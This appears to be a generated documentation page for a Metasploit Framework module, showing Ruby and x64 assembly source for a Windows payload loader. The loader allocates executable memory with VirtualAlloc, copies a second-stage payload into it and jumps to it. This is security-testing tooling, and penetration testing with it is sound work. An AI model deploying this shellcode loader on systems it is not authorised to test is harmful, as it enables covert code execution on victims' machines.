Module: Msf::Payload::Windows::AddrLoader_x64

Includes:
Msf::Payload::Windows, BlockApi_x64
Defined in:
lib/msf/core/payload/windows/x64/addr_loader.rb

Overview

Windows ARCH_X64 loader

Instance Method Summary collapse

Methods included from BlockApi_x64

#asm_block_api

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Instance Method Details

#asm_block_loaderObject

[View source] [View on GitHub]

35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# File 'lib/msf/core/payload/windows/x64/addr_loader.rb', line 35

def asm_block_loader
  asm = %Q^
      call after_len          ; Call after_addr, this pushes the length onto the stack
      db 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41
    after_len:
      pop rsi                 ; RSI = len
      mov rsi, [rsi]

      mov esi, esi            ; only use the lower-order 32 bits for the size
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly received second stage length.
      xor rcx, rcx            ; NULL as we dont care where the allocation is.
      mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      mov rbx, rax            ; rbx = our new memory address for the new stage
      mov r15, rax            ; save the address so we can jump into it later

      call after_addr         ; Call after_addr, this pushes the address onto the stack.
      db 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42
    after_addr:
      pop rdi                 ; EDI = addr
      mov rdi, [rdi]

    copy_memory:
      mov rdx, [rdi]
      mov [rbx], rdx
      add rbx, 8
      add rdi, 8
      sub rsi, 8
      test rsi,rsi
      jnz copy_memory

    execute_stage:
      jmp r15                 ; dive into the stored stage address

  ^
  asm
end

#generate_loaderObject

Generate and compile the loader

[View source] [View on GitHub]

19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# File 'lib/msf/core/payload/windows/x64/addr_loader.rb', line 19

def generate_loader
  combined_asm = %Q^
      cld                    ; Clear the direction flag.
      and rsp, ~0xF          ;  Ensure RSP is 16 byte aligned
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
      #{asm_block_api}
    start:
      pop rbp
      #{asm_block_loader}
  ^
  loader = Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
  offset_size = loader.index("AAAAAAAA")
  offset_addr = loader.index("BBBBBBBB")
  [ loader, offset_addr, offset_size ]
end